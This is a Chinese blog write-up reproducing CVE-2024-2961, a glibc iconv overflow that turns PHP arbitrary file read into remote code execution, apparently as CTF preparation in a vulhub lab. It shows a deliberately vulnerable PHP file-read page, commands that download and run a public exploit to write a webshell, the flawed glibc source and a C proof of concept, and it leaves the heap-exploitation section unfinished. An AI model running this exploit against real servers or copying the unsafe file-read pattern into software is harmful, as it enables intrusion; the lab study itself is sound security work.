目录

  1. 1. 前言
  2. 2. PHP利用GNU C Iconv将文件读取变成RCE
  3. 3. 环境搭建
  4. 4. 复现
  5. 5. 原理
    1. 5.1. iconv() API
    2. 5.2. 转换为 ISO-2022-CN-EXT 时出现越界写入
    3. 5.3. PHP堆的工作基本原理
  6. 6. exp分析

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CVE-2024-2961复现

2024/5/31 Web RCE CVE 文件包含 PHP
  |     |   总文章阅读量:

前言

复现环境:https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/

参考:

https://xz.aliyun.com/t/14690

https://www.bilibili.com/video/BV1kY8zeUEPr

https://mp.weixin.qq.com/s/zcokg-eNjkNpxJZwFm0Zyg

先挂起,必可活用于某次ctf((

2024.7.6:于ctfshow XGCTF 和 春秋杯夏季赛 中出现了相关题目

2024.8.30:于 羊城杯 中出现了相关题目


PHP利用GNU C Iconv将文件读取变成RCE

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

原文:https://www.ambionics.io/blog/iconv-cve-2024-2961-p1

条件:

  • glibc版本更新时间在2024/4/17之前
  • php版本在7.0.0-8.3.7,支持任何php应用程序,如wordpress
  • 支持data伪协议,filter伪协议,支持 filter 中 zlib.inflate 过滤器及这三个方法的任意文件读取权限
  • 有效载荷小于1000字节
  • 不需要发送其它额外的参数

PHP的每个标准文件读取接收器都受到影响:file_get_contents()file()readfile()fgets()getimagesize()SplFileObject->read()hash_file

文件写入也受到影响:file_put_contents()


环境搭建

把复现环境git下来

然后起docker,docker-compose.yml里面已经帮我们写好了以iconv 2.36作为依赖,index.php是一个file_get_contents

<?php    
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
docker compose up -d

然后访问http://127.0.0.1:8080/index.php,传入file参数就能读取文件

image-20240627124002752


复现

exp:https://github.com/ambionics/cnext-exploits

注:需要在linux环境,python3.10下运行此exp,同时需要安装对应依赖

pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip

下载poc并运行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python3 cnext-exploit.py http://localhost:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

image-20240707102347948

然后就会发现成功写入文件了

image-20240707102414239


原理

echo file_get_contents($_GET['file']);

既然是在php文件读取上出现的问题,那么我们第一个想到的就是php的各种伪协议,以及和字符变换iconv有关的filterchain

同样的这个洞也是和 iconv 有关的

iconv() API

一般情况下,每个 char 类型的字符占一个字节,但是在iconv编码转义的时候则可能转义为多个字节,不过这依旧是在缓冲区预期之内的

当PHP从一个字符集转换到另一个字符集时,它使用 iconv,这是一个用于“使用转换描述符将输入缓冲区中的字符转换为输出缓冲区”的API。在Linux系统上,这个API由 glibc 实现

API非常简单。首先,打开一个转换描述符,该描述符指定了输入和输出字符集

iconv_t iconv_open(const char *tocode, const char *fromcode);

然后,使用iconv()将输入缓冲区inbuf转换为输出缓冲区outbuf中的新字符集

size_t iconv(iconv_t cd,
            char **restrict inbuf, size_t *restrict inbytesleft,
            char **restrict outbuf, size_t *restrict outbytesleft);

如果输出缓冲区不够大,iconv() 将返回一个错误指示此情况,可以通过重新分配 outbuf 并再次调用 iconv() 来继续转换。

该函数保证的是,它永远不会从 inbuf 读取超过 inbytesleft 字节的数据,或向 outbuf 写入超过 outbytesleft 字节的数据(真的吗?)


转换为 ISO-2022-CN-EXT 时出现越界写入

在将数据转换为 ISO-2022-CN-EXT 字符集时,iconv可能在写入输出缓冲区之前未能检查是否有足够的空间剩余

看一下 iconv 对 ISO-2022-CN-EXT 的处理

// iconvdata/iso-2022-cn-ext.c

/* See whether we have to emit an escape sequence.  */
if (set != used)
{
    /* First see whether we announced that we use this
        character set.  */
    if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
    {
        const char *escseq;

        if (outptr + 4 > outend) // <-------------------- 检查点
        {
            result = __GCONV_FULL_OUTPUT;
            break;
        }

        assert(used >= 1 && used <= 4);
        escseq = ")A\0\0)G)E" + (used - 1) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SO_ann) | (used << 8);
    }
    else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
    {
        const char *escseq;

        // <-------------------- 无检查点

        assert(used == CNS11643_2_set); /* XXX */
        escseq = "*H";
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SS2_ann) | (used << 8);
    }
    else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
    {
        const char *escseq;

        // <-------------------- 无检查点

        assert((used >> 5) >= 3 && (used >> 5) <= 7);
        escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SS3_ann) | (used << 8);
    }
}

每个块向outbuf(由outptr指向)写入不同的转义序列。

在第一个if[1]里,前面有一个额外的if()块来检查输出缓冲区是否足够大以容纳四个字符。

而其他两个if[2][3]则没有对 outptr 进行检查。因此,转义序列可能会越界写入。


通常情况下,我们尝试转义AAAAA啊这样子的字符串的时候,结果如下

image-20240810141528211

但是特别的,利用如: 湿这种字符,在iconv()转义时会导致1到3字节的溢出:

$*H [24 2A 48]
$+I [24 2B 49]
$+J [24 2B 4A]
$+K [24 2B 4B]
$+L [24 2B 4C]
$+M [24 2B 4D]

验证这个溢出问题的poc:

/*
CVE-2024-2961 POC
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
$
*/
#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

void hexdump(void *ptr, int buflen)
{
    unsigned char *buf = (unsigned char *)ptr;
    int i, j;
    for (i = 0; i < buflen; i += 16)
    {
        printf("%06x: ", i);
        for (j = 0; j < 16; j++)
            if (i + j < buflen)
                printf("%02x ", buf[i + j]);
            else
                printf("   ");
        printf(" ");
        for (j = 0; j < 16; j++)
            if (i + j < buflen)
                printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
        printf("\n");
    }
}

void main()
{
    iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

    char input[0x10] = "AAAAA劄";
    char output[0x10] = {0};

    char *pinput = input;
    char *poutput = output;

    // Same size for input and output buffer
    size_t sinput = strlen(input);
    size_t soutput = sinput;

    iconv(cd, &pinput, &sinput, &poutput, &soutput);

    printf("Remaining bytes (should be > 0): %zd\n", soutput);

    hexdump(output, 0x10);
}

结果如下:

image-20240810115353676

尽管告诉 iconv() 最多只能写入8字节,但实际上已写入了9字节(的原始字节为\xe5\x8a\x84,转义后变成了\x1b\x24\x2a\x48,多出了最后的 0x48)

既然能实现缓冲区溢出,那就有rce的可能


现在能造成溢出了,但是从溢出到命令执行之间还需要想办法获取系统命令的地址

PHP堆的工作基本原理

啊啊先写到这里,没二进制基础感觉看不懂了


exp分析

核心部分就在run方法这里:

def run(self) -> None:
    self.check_vulnerable()
    self.get_symbols_and_addresses()
    self.exploit()

check_vulnerable方法仅用于检测相关的 wrapper 是否可用,需要获取完整的回显,如果回显经过了 aes 或者 md5 之类的加密则这个检测方法不可用

get_symbols_and_addresses是用来获取 /proc/self/maps 和 libc.so.6 的,如果是在回显加密的情况下需要我们手动用其它方法dump对应的文件

exploit方法就是pwn了

因此第一步的 check_vulnerable 不是必须的